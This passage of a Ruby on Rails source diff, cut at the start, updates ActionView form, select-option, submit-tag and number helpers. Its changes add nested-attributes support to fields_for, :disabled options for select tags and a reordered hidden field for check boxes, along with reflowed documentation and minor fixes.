+ # model attributes and those that don't. This helper deals with those that
+ # work with model attributes; to see an example of form helpers that don't
+ # work with model attributes, check the ActionView::Helpers::FormTagHelper
+ # documentation.
#
- # The core method of this helper, form_for, gives you the ability to create a form for a model instance;
- # for example, let's say that you have a model <tt>Person</tt> and want to create a new instance of it:
+ # The core method of this helper, form_for, gives you the ability to create
+ # a form for a model instance; for example, let's say that you have a model
+ # <tt>Person</tt> and want to create a new instance of it:
#
# # Note: a @person variable will have been created in the controller.
# # For example: @person = Person.new
@@ -40,17 +47,22 @@ module ActionView
# <%= submit_tag 'Create' %>
# <% end %>
#
- # This example will render the <tt>people/_form</tt> partial, setting a local variable called <tt>form</tt> which references the yielded FormBuilder.
- #
- # The <tt>params</tt> object created when this form is submitted would look like:
+ # This example will render the <tt>people/_form</tt> partial, setting a
+ # local variable called <tt>form</tt> which references the yielded
+ # FormBuilder. The <tt>params</tt> object created when this form is
+ # submitted would look like:
#
# {"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
#
- # The params hash has a nested <tt>person</tt> value, which can therefore be accessed with <tt>params[:person]</tt> in the controller.
- # If were editing/updating an instance (e.g., <tt>Person.find(1)</tt> rather than <tt>Person.new</tt> in the controller), the objects
- # attribute values are filled into the form (e.g., the <tt>person_first_name</tt> field would have that person's first name in it).
+ # The params hash has a nested <tt>person</tt> value, which can therefore
+ # be accessed with <tt>params[:person]</tt> in the controller. If were
+ # editing/updating an instance (e.g., <tt>Person.find(1)</tt> rather than
+ # <tt>Person.new</tt> in the controller), the objects attribute values are
+ # filled into the form (e.g., the <tt>person_first_name</tt> field would
+ # have that person's first name in it).
#
- # If the object name contains square brackets the id for the object will be inserted. For example:
+ # If the object name contains square brackets the id for the object will be
+ # inserted. For example:
#
# <%= text_field "person[]", "name" %>
#
@@ -58,8 +70,10 @@ module ActionView
#
# <input type="text" id="person_<%= @person.id %>_name" name="person[<%= @person.id %>][name]" value="<%= @person.name %>" />
#
- # If the helper is being used to generate a repetitive sequence of similar form elements, for example in a partial
- # used by <tt>render_collection_of_partials</tt>, the <tt>index</tt> option may come in handy. Example:
+ # If the helper is being used to generate a repetitive sequence of similar
+ # form elements, for example in a partial used by
+ # <tt>render_collection_of_partials</tt>, the <tt>index</tt> option may
+ # come in handy. Example:
#
# <%= text_field "person", "name", "index" => 1 %>
#
@@ -67,14 +81,17 @@ module ActionView
#
# <input type="text" id="person_1_name" name="person[1][name]" value="<%= @person.name %>" />
#
- # An <tt>index</tt> option may also be passed to <tt>form_for</tt> and <tt>fields_for</tt>. This automatically applies
- # the <tt>index</tt> to all the nested fields.
+ # An <tt>index</tt> option may also be passed to <tt>form_for</tt> and
+ # <tt>fields_for</tt>. This automatically applies the <tt>index</tt> to
+ # all the nested fields.
#
- # There are also methods for helping to build form tags in link:classes/ActionView/Helpers/FormOptionsHelper.html,
- # link:classes/ActionView/Helpers/DateHelper.html, and link:classes/ActionView/Helpers/ActiveRecordHelper.html
+ # There are also methods for helping to build form tags in
+ # link:classes/ActionView/Helpers/FormOptionsHelper.html,
+ # link:classes/ActionView/Helpers/DateHelper.html, and
+ # link:classes/ActionView/Helpers/ActiveRecordHelper.html
module FormHelper
- # Creates a form and a scope around a specific model object that is used as
- # a base for questioning about values for the fields.
+ # Creates a form and a scope around a specific model object that is used
+ # as a base for questioning about values for the fields.
#
# Rails provides succinct resource-oriented form generation with +form_for+
# like this:
@@ -86,13 +103,15 @@ module ActionView
# <%= f.text_field :author %><br />
# <% end %>
#
- # There, +form_for+ is able to generate the rest of RESTful form parameters
- # based on introspection on the record, but to understand what it does we
- # need to dig first into the alternative generic usage it is based upon.
+ # There, +form_for+ is able to generate the rest of RESTful form
+ # parameters based on introspection on the record, but to understand what
+ # it does we need to dig first into the alternative generic usage it is
+ # based upon.
#
# === Generic form_for
#
- # The generic way to call +form_for+ yields a form builder around a model:
+ # The generic way to call +form_for+ yields a form builder around a
+ # model:
#
# <% form_for :person, :url => { :action => "update" } do |f| %>
# <%= f.error_messages %>
@@ -103,8 +122,8 @@ module ActionView
# <% end %>
#
# There, the first argument is a symbol or string with the name of the
- # object the form is about, and also the name of the instance variable the
- # object is stored in.
+ # object the form is about, and also the name of the instance variable
+ # the object is stored in.
#
# The form builder acts as a regular form helper that somehow carries the
# model. Thus, the idea is that
@@ -137,17 +156,18 @@ module ActionView
# In any of its variants, the rightmost argument to +form_for+ is an
# optional hash of options:
#
- # * <tt>:url</tt> - The URL the form is submitted to. It takes the same fields
- # you pass to +url_for+ or +link_to+. In particular you may pass here a
- # named route directly as well. Defaults to the current action.
+ # * <tt>:url</tt> - The URL the form is submitted to. It takes the same
+ # fields you pass to +url_for+ or +link_to+. In particular you may pass
+ # here a named route directly as well. Defaults to the current action.
# * <tt>:html</tt> - Optional HTML attributes for the form tag.
#
- # Worth noting is that the +form_for+ tag is called in a ERb evaluation block,
- # not an ERb output block. So that's <tt><% %></tt>, not <tt><%= %></tt>.
+ # Worth noting is that the +form_for+ tag is called in a ERb evaluation
+ # block, not an ERb output block. So that's <tt><% %></tt>, not
+ # <tt><%= %></tt>.
#
# Also note that +form_for+ doesn't create an exclusive scope. It's still
- # possible to use both the stand-alone FormHelper methods and methods from
- # FormTagHelper. For example:
+ # possible to use both the stand-alone FormHelper methods and methods
+ # from FormTagHelper. For example:
#
# <% form_for :person, @person, :url => { :action => "update" } do |f| %>
# First name: <%= f.text_field :first_name %>
@@ -156,16 +176,16 @@ module ActionView
# Admin? : <%= check_box_tag "person[admin]", @person.company.admin? %>
# <% end %>
#
- # This also works for the methods in FormOptionHelper and DateHelper that are
- # designed to work with an object as base, like FormOptionHelper#collection_select
- # and DateHelper#datetime_select.
+ # This also works for the methods in FormOptionHelper and DateHelper that
+ # are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
#
# === Resource-oriented style
#
- # As we said above, in addition to manually configuring the +form_for+ call,
- # you can rely on automated resource identification, which will use the conventions
- # and named routes of that approach. This is the preferred way to use +form_for+
- # nowadays.
+ # As we said above, in addition to manually configuring the +form_for+
+ # call, you can rely on automated resource identification, which will use
+ # the conventions and named routes of that approach. This is the
+ # preferred way to use +form_for+ nowadays.
#
# For example, if <tt>@post</tt> is an existing record you want to edit
#
@@ -205,8 +225,10 @@ module ActionView
#
# === Customized form builders
#
- # You can also build forms using a customized FormBuilder class. Subclass FormBuilder and override or define some more helpers,
- # then use your custom builder. For example, let's say you made a helper to automatically add labels to form inputs.
+ # You can also build forms using a customized FormBuilder class. Subclass
+ # FormBuilder and override or define some more helpers, then use your
+ # custom builder. For example, let's say you made a helper to
+ # automatically add labels to form inputs.
#
# <% form_for :person, @person, :url => { :action => "update" }, :builder => LabellingFormBuilder do |f| %>
# <%= f.text_field :first_name %>
@@ -219,16 +241,23 @@ module ActionView
#
# <%= render :partial => f %>
#
- # The rendered template is <tt>people/_labelling_form</tt> and the local variable referencing the form builder is called <tt>labelling_form</tt>.
+ # The rendered template is <tt>people/_labelling_form</tt> and the local
+ # variable referencing the form builder is called
+ # <tt>labelling_form</tt>.
+ #
+ # The custom FormBuilder class is automatically merged with the options
+ # of a nested fields_for call, unless it's explicitely set.
#
- # In many cases you will want to wrap the above in another helper, so you could do something like the following:
+ # In many cases you will want to wrap the above in another helper, so you
+ # could do something like the following:
#
# def labelled_form_for(record_or_name_or_array, *args, &proc)
# options = args.extract_options!
# form_for(record_or_name_or_array, *(args << options.merge(:builder => LabellingFormBuilder)), &proc)
# end
#
- # If you don't need to attach a form to a model instance, then check out FormTagHelper#form_tag.
+ # If you don't need to attach a form to a model instance, then check out
+ # FormTagHelper#form_tag.
def form_for(record_or_name_or_array, *args, &proc)
raise ArgumentError, "Missing block" unless block_given?
@@ -269,10 +298,12 @@ module ActionView
options[:url] ||= polymorphic_path(object_or_array)
end
- # Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes
- # fields_for suitable for specifying additional model objects in the same form:
+ # Creates a scope around a specific model object like form_for, but
+ # doesn't create the form tags themselves. This makes fields_for suitable
+ # for specifying additional model objects in the same form.
+ #
+ # === Generic Examples
#
- # ==== Examples
# <% form_for @person, :url => { :action => "update" } do |person_form| %>
# First name: <%= person_form.text_field :first_name %>
# Last name : <%= person_form.text_field :last_name %>
@@ -282,20 +313,166 @@ module ActionView
# <% end %>
# <% end %>
#
- # ...or if you have an object that needs to be represented as a different parameter, like a Client that acts as a Person:
+ # ...or if you have an object that needs to be represented as a different
+ # parameter, like a Client that acts as a Person:
#
# <% fields_for :person, @client do |permission_fields| %>
# Admin?: <%= permission_fields.check_box :admin %>
# <% end %>
#
- # ...or if you don't have an object, just a name of the parameter
+ # ...or if you don't have an object, just a name of the parameter:
#
# <% fields_for :person do |permission_fields| %>
# Admin?: <%= permission_fields.check_box :admin %>
# <% end %>
#
- # Note: This also works for the methods in FormOptionHelper and DateHelper that are designed to work with an object as base,
- # like FormOptionHelper#collection_select and DateHelper#datetime_select.
+ # Note: This also works for the methods in FormOptionHelper and
+ # DateHelper that are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === Nested Attributes Examples
+ #
+ # When the object belonging to the current scope has a nested attribute
+ # writer for a certain attribute, fields_for will yield a new scope
+ # for that attribute. This allows you to create forms that set or change
+ # the attributes of a parent object and its associations in one go.
+ #
+ # Nested attribute writers are normal setter methods named after an
+ # association. The most common way of defining these writers is either
+ # with +accepts_nested_attributes_for+ in a model definition or by
+ # defining a method with the proper name. For example: the attribute
+ # writer for the association <tt>:address</tt> is called
+ # <tt>address_attributes=</tt>.
+ #
+ # Whether a one-to-one or one-to-many style form builder will be yielded
+ # depends on whether the normal reader method returns a _single_ object
+ # or an _array_ of objects.
+ #
+ # ==== One-to-one
+ #
+ # Consider a Person class which returns a _single_ Address from the
+ # <tt>address</tt> reader method and responds to the
+ # <tt>address_attributes=</tt> writer method:
+ #
+ # class Person
+ # def address
+ # @address
+ # end
+ #
+ # def address_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # This model can now be used with a nested fields_for, like so:
+ #
+ # <% form_for @person, :url => { :action => "update" } do |person_form| %>
+ # ...
+ # <% person_form.fields_for :address do |address_fields| %>
+ # Street : <%= address_fields.text_field :street %>
+ # Zip code: <%= address_fields.text_field :zip_code %>
+ # <% end %>
+ # <% end %>
+ #
+ # When address is already an association on a Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address
+ # end
+ #
+ # If you want to destroy the associated model through the form, you have
+ # to enable it first using the <tt>:allow_destroy</tt> option for
+ # +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address, :allow_destroy => true
+ # end
+ #
+ # Now, when you use a form element with the <tt>_delete</tt> parameter,
+ # with a value that evaluates to +true+, you will destroy the associated
+ # model (eg. 1, '1', true, or 'true'):
+ #
+ # <% form_for @person, :url => { :action => "update" } do |person_form| %>
+ # ...
+ # <% person_form.fields_for :address do |address_fields| %>
+ # ...
+ # Delete: <%= address_fields.check_box :_delete %>
+ # <% end %>
+ # <% end %>
+ #
+ # ==== One-to-many
+ #
+ # Consider a Person class which returns an _array_ of Project instances
+ # from the <tt>projects</tt> reader method and responds to the
+ # <tt>projects_attributes=</tt> writer method:
+ #
+ # class Person
+ # def projects
+ # [@project1, @project2]
+ # end
+ #
+ # def projects_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # This model can now be used with a nested fields_for. The block given to
+ # the nested fields_for call will be repeated for each instance in the
+ # collection:
+ #
+ # <% form_for @person, :url => { :action => "update" } do |person_form| %>
+ # ...
+ # <% person_form.fields_for :projects do |project_fields| %>
+ # <% if project_fields.object.active? %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ #
+ # It's also possible to specify the instance to be used:
+ #
+ # <% form_for @person, :url => { :action => "update" } do |person_form| %>
+ # ...
+ # <% @person.projects.each do |project| %>
+ # <% if project.active? %>
+ # <% person_form.fields_for :projects, project do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ #
+ # When projects is already an association on Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects
+ # end
+ #
+ # If you want to destroy any of the associated models through the
+ # form, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option for +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects, :allow_destroy => true
+ # end
+ #
+ # This will allow you to specify which models to destroy in the
+ # attributes hash by adding a form element for the <tt>_delete</tt>
+ # parameter with a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'):
+ #
+ # <% form_for @person, :url => { :action => "update" } do |person_form| %>
+ # ...
+ # <% person_form.fields_for :projects do |project_fields| %>
+ # Delete: <%= project_fields.check_box :_delete %>
+ # <% end %>
+ # <% end %>
def fields_for(record_or_name_or_array, *args, &block)
raise ArgumentError, "Missing block" unless block_given?
options = args.extract_options!
@@ -451,7 +628,7 @@ module ActionView
#
# The HTML specification says unchecked check boxes are not successful, and
# thus web browsers do not send them. Unfortunately this introduces a gotcha:
- # if an Invoice model has a +paid+ flag, and in the form that edits a paid
+ # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
# invoice the user unchecks its check box, no +paid+ parameter is sent. So,
# any mass-assignment idiom like
#
@@ -459,12 +636,15 @@ module ActionView
#
# wouldn't update the flag.
#
- # To prevent this the helper generates a hidden field with the same name as
- # the checkbox after the very check box. So, the client either sends only the
- # hidden field (representing the check box is unchecked), or both fields.
- # Since the HTML specification says key/value pairs have to be sent in the
- # same order they appear in the form and Rails parameters extraction always
- # gets the first occurrence of any given key, that works in ordinary forms.
+ # To prevent this the helper generates an auxiliary hidden field before
+ # the very check box. The hidden field has the same name and its
+ # attributes mimick an unchecked check box.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the check box is unchecked), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
#
# Unfortunately that workaround does not work when the check box goes
# within an array-like parameter, as in
@@ -475,22 +655,26 @@ module ActionView
# <% end %>
#
# because parameter name repetition is precisely what Rails seeks to distinguish
- # the elements of the array.
+ # the elements of the array. For each item with a checked check box you
+ # get an extra ghost item with only that attribute, assigned to "0".
+ #
+ # In that case it is preferable to either use +check_box_tag+ or to use
+ # hashes instead of arrays.
#
# ==== Examples
# # Let's say that @post.validated? is 1:
# check_box("post", "validated")
- # # => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
- # # <input name="post[validated]" type="hidden" value="0" />
+ # # => <input name="post[validated]" type="hidden" value="0" />
+ # # <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
#
# # Let's say that @puppy.gooddog is "no":
# check_box("puppy", "gooddog", {}, "yes", "no")
- # # => <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
- # # <input name="puppy[gooddog]" type="hidden" value="no" />
+ # # => <input name="puppy[gooddog]" type="hidden" value="no" />
+ # # <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
#
# check_box("eula", "accepted", { :class => 'eula_check' }, "yes", "no")
- # # => <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
- # # <input name="eula[accepted]" type="hidden" value="no" />
+ # # => <input name="eula[accepted]" type="hidden" value="no" />
+ # # <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
#
def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
InstanceTag.new(object_name, method, self, options.delete(:object)).to_check_box_tag(options, checked_value, unchecked_value)
@@ -498,8 +682,10 @@ module ActionView
# Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
# assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
- # radio button will be checked. Additional options on the input tag can be passed as a
- # hash with +options+.
+ # radio button will be checked.
+ #
+ # To force the radio button to be checked pass <tt>:checked => true</tt> in the
+ # +options+ hash. You may pass HTML options there as well.
#
# ==== Examples
# # Let's say that @post.category returns "rails":
@@ -605,7 +791,9 @@ module ActionView
end
options["checked"] = "checked" if checked
add_default_name_and_id(options)
- tag("input", options) << tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value)
+ hidden = tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value)
+ checkbox = tag("input", options)
+ hidden + checkbox
end
def to_boolean_select_tag(options = {})
@@ -758,9 +946,18 @@ module ActionView
index = ""
end
+ if options[:builder]
+ args << {} unless args.last.is_a?(Hash)
+ args.last[:builder] ||= options[:builder]
+ end
+
case record_or_name_or_array
when String, Symbol
- name = "#{object_name}#{index}[#{record_or_name_or_array}]"
+ if nested_attributes_association?(record_or_name_or_array)
+ return fields_for_with_nested_attributes(record_or_name_or_array, args, block)
+ else
+ name = "#{object_name}#{index}[#{record_or_name_or_array}]"
+ end
when Array
object = record_or_name_or_array.last
name = "#{object_name}#{index}[#{ActionController::RecordIdentifier.singular_class_name(object)}]"
@@ -802,6 +999,43 @@ module ActionView
def objectify_options(options)
@default_options.merge(options.merge(:object => @object))
end
+
+ def nested_attributes_association?(association_name)
+ @object.respond_to?("#{association_name}_attributes=")
+ end
+
+ def fields_for_with_nested_attributes(association_name, args, block)
+ name = "#{object_name}[#{association_name}_attributes]"
+ association = @object.send(association_name)
+ explicit_object = args.first if args.first.respond_to?(:new_record?)
+
+ if association.is_a?(Array)
+ children = explicit_object ? [explicit_object] : association
+ explicit_child_index = args.last[:child_index] if args.last.is_a?(Hash)
+
+ children.map do |child|
+ fields_for_nested_model("#{name}[#{explicit_child_index || nested_child_index}]", child, args, block)
+ end.join
+ else
+ fields_for_nested_model(name, explicit_object || association, args, block)
+ end
+ end
+
+ def fields_for_nested_model(name, object, args, block)
+ if object.new_record?
+ @template.fields_for(name, object, *args, &block)
+ else
+ @template.fields_for(name, object, *args) do |builder|
+ @template.concat builder.hidden_field(:id)
+ block.call(builder)
+ end
+ end
+ end
+
+ def nested_child_index
+ @nested_child_index ||= -1
+ @nested_child_index += 1
+ end
end
end
@@ -809,4 +1043,4 @@ module ActionView
cattr_accessor :default_form_builder
self.default_form_builder = ::ActionView::Helpers::FormBuilder
end
-end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb
index 54c82cbd1d..6b385ef77d 100644
--- a/actionpack/lib/action_view/helpers/form_options_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_options_helper.rb
@@ -6,9 +6,7 @@ module ActionView
module Helpers
# Provides a number of methods for turning different kinds of containers into a set of option tags.
# == Options
- # The <tt>collection_select</tt>, <tt>country_select</tt>, <tt>select</tt>,
- # and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter,
- # a hash.
+ # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
#
# * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
#
@@ -28,7 +26,7 @@ module ActionView
#
# Example with @post.person_id => 2:
#
- # select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, {:include_blank => 'None'})
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {:include_blank => 'None'})
#
# could become:
#
@@ -43,7 +41,7 @@ module ActionView
#
# Example:
#
- # select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, {:prompt => 'Select Person'})
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {:prompt => 'Select Person'})
#
# could become:
#
@@ -68,6 +66,36 @@ module ActionView
# <option value="rock">rock</option>
# <option value="country">country</option>
# </select>
+ #
+ # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
+ #
+ # Example:
+ #
+ # select("post", "category", Post::CATEGORIES, {:disabled => 'restricted'})
+ #
+ # could become:
+ #
+ # <select name="post[category]">
+ # <option></option>
+ # <option>joke</option>
+ # <option>poem</option>
+ # <option disabled="disabled">restricted</option>
+ # </select>
+ #
+ # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+ #
+ # Example:
+ #
+ # collection_select(:post, :category_id, Category.all, :id, :name, {:disabled => lambda{|category| category.archived? }})
+ #
+ # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
+ # <select name="post[category_id]">
+ # <option value="1" disabled="disabled">2008 stuff</option>
+ # <option value="2" disabled="disabled">Christmas</option>
+ # <option value="3">Jokes</option>
+ # <option value="4">Poems</option>
+ # </select>
+ #
module FormOptionsHelper
include ERB::Util
@@ -76,7 +104,7 @@ module ActionView
# See options_for_select for the required format of the choices parameter.
#
# Example with @post.person_id => 1:
- # select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, { :include_blank => true })
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true })
#
# could become:
#
@@ -94,7 +122,8 @@ module ActionView
# In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
#
# By default, <tt>post.person_id</tt> is the selected option. Specify <tt>:selected => value</tt> to use a different selection
- # or <tt>:selected => nil</tt> to leave all options unselected.
+ # or <tt>:selected => nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
+ # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
def select(object, method, choices, options = {}, html_options = {})
InstanceTag.new(object, method, self, options.delete(:object)).to_select_tag(choices, options, html_options)
end
@@ -120,7 +149,7 @@ module ActionView
# end
#
# Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
- # collection_select(:post, :author_id, Author.find(:all), :id, :name_with_initial, {:prompt => true})
+ # collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true})
#
# If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
# <select name="post[author_id]">
@@ -186,14 +215,29 @@ module ActionView
# options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
# <option selected="selected">VISA</option>\n<option>MasterCard</option>\n<option selected="selected">Discover</option>
#
+ # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
+ # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
+ #
+ # Examples:
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :disabled => "Super Platinum")
+ # <option value="Free">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :disabled => ["Advanced", "Super Platinum"])
+ # <option value="Free">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced" disabled="disabled">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
+ # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :selected => "Free", :disabled => "Super Platinum")
+ # <option value="Free" selected="selected">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
+ #
# NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
def options_for_select(container, selected = nil)
container = container.to_a if Hash === container
+ selected, disabled = extract_selected_and_disabled(selected)
options_for_select = container.inject([]) do |options, element|
text, value = option_text_and_value(element)
selected_attribute = ' selected="selected"' if option_value_selected?(value, selected)
- options << %(<option value="#{html_escape(value.to_s)}"#{selected_attribute}>#{html_escape(text.to_s)}</option>)
+ disabled_attribute = ' disabled="disabled"' if disabled && option_value_selected?(value, disabled)
+ options << %(<option value="#{html_escape(value.to_s)}"#{selected_attribute}#{disabled_attribute}>#{html_escape(text.to_s)}</option>)
end
options_for_select.join("\n")
@@ -209,8 +253,15 @@ module ActionView
# This is more often than not used inside a #select_tag like this example:
# select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
#
- # If +selected+ is specified, the element returning a match on +value_method+ will get the selected option tag.
- # Be sure to specify the same class as the +value_method+ when specifying a selected option.
+ # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
+ # will be selected option tag(s).
+ #
+ # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
+ # function are the selected values.
+ #
+ # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
+ #
+ # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
# Failure to do this will produce undesired results. Example:
# options_from_collection_for_select(@people, 'id', 'name', '1')
# Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
@@ -220,7 +271,12 @@ module ActionView
options = collection.map do |element|
[element.send(text_method), element.send(value_method)]
end
- options_for_select(options, selected)
+ selected, disabled = extract_selected_and_disabled(selected)
+ select_deselect = {}
+ select_deselect[:selected] = extract_values_from_collection(collection, value_method, selected)
+ select_deselect[:disabled] = extract_values_from_collection(collection, value_method, disabled)
+
+ options_for_select(options, select_deselect)
end
# Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
@@ -238,7 +294,8 @@ module ActionView
# +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
# * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
# which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
- # to +option_key_method+. If +nil+, no selection is made.
+ # to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
+ # to be specified.
#
# Example object structure for use with this method:
# class Continent < ActiveRecord::Base
@@ -388,6 +445,24 @@ module ActionView
value == selected
end
end
+
+ def extract_selected_and_disabled(selected)
+ if selected.is_a?(Hash)
+ [selected[:selected], selected[:disabled]]
+ else
+ [selected, nil]
+ end
+ end
+
+ def extract_values_from_collection(collection, value_method, selected)
+ if selected.is_a?(Proc)
+ collection.map do |element|
+ element.send(value_method) if selected.call(element)
+ end.compact
+ else
+ selected
+ end
+ end
end
class InstanceTag #:nodoc:
@@ -398,16 +473,18 @@ module ActionView
add_default_name_and_id(html_options)
value = value(object)
selected_value = options.has_key?(:selected) ? options[:selected] : value
- content_tag("select", add_options(options_for_select(choices, selected_value), options, selected_value), html_options)
+ disabled_value = options.has_key?(:disabled) ? options[:disabled] : nil
+ content_tag("select", add_options(options_for_select(choices, :selected => selected_value, :disabled => disabled_value), options, selected_value), html_options)
end
def to_collection_select_tag(collection, value_method, text_method, options, html_options)
html_options = html_options.stringify_keys
add_default_name_and_id(html_options)
value = value(object)
+ disabled_value = options.has_key?(:disabled) ? options[:disabled] : nil
selected_value = options.has_key?(:selected) ? options[:selected] : value
content_tag(
- "select", add_options(options_from_collection_for_select(collection, value_method, text_method, selected_value), options, value), html_options
+ "select", add_options(options_from_collection_for_select(collection, value_method, text_method, :selected => selected_value, :disabled => disabled_value), options, value), html_options
)
end
diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb
index 4646bc118b..6d39a53adc 100644
--- a/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_tag_helper.rb
@@ -360,8 +360,8 @@ module ActionView
end
if confirm = options.delete("confirm")
- options["onclick"] ||= ''
- options["onclick"] << "return #{confirm_javascript_function(confirm)};"
+ options["onclick"] ||= 'return true;'
+ options["onclick"] = "if (!#{confirm_javascript_function(confirm)}) return false; #{options['onclick']}"
end
tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options.stringify_keys)
diff --git a/actionpack/lib/action_view/helpers/number_helper.rb b/actionpack/lib/action_view/helpers/number_helper.rb
index e622f97b9e..dea958deaf 100644
--- a/actionpack/lib/action_view/helpers/number_helper.rb
+++ b/actionpack/lib/action_view/helpers/number_helper.rb
@@ -15,6 +15,7 @@ module ActionView
# * <tt>:country_code</tt> - Sets the country code for the phone number.
#
# ==== Examples
+ # number_to_phone(5551234) # => 555-1234
# number_to_phone(1235551234) # => 123-555-1234
# number_to_phone(1235551234, :area_code => true) # => (123) 555-1234
# number_to_phone(1235551234, :delimiter => " ") # => 123 555 1234
@@ -37,7 +38,8 @@ module ActionView
str << if area_code
number.gsub!(/([0-9]{1,3})([0-9]{3})([0-9]{4}$)/,"(\\1) \\2#{delimiter}\\3")
else
- number.gsub!(/([0-9]{1,3})([0-9]{3})([0-9]{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+ number.gsub!(/([0-9]{0,3})([0-9]{3})([0-9]{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+ number.starts_with?('-') ? number.slice!(1..-1) : number
end
str << " x #{extension}" unless extension.blank?
str
@@ -138,7 +140,7 @@ module ActionView
# number_with_delimiter(12345678) # => 12,345,678
# number_with_delimiter(12345678.05) # => 12,345,678.05
# number_with_delimiter(12345678, :delimiter => ".") # => 12.345.678
- # number_with_delimiter(12345678, :seperator => ",") # => 12,345,678
+ # number_with_delimiter(12345678, :separator => ",") # => 12,345,678
# number_with_delimiter(98765432.98, :delimiter => " ", :separator => ",")
# # => 98 765 432,98
#
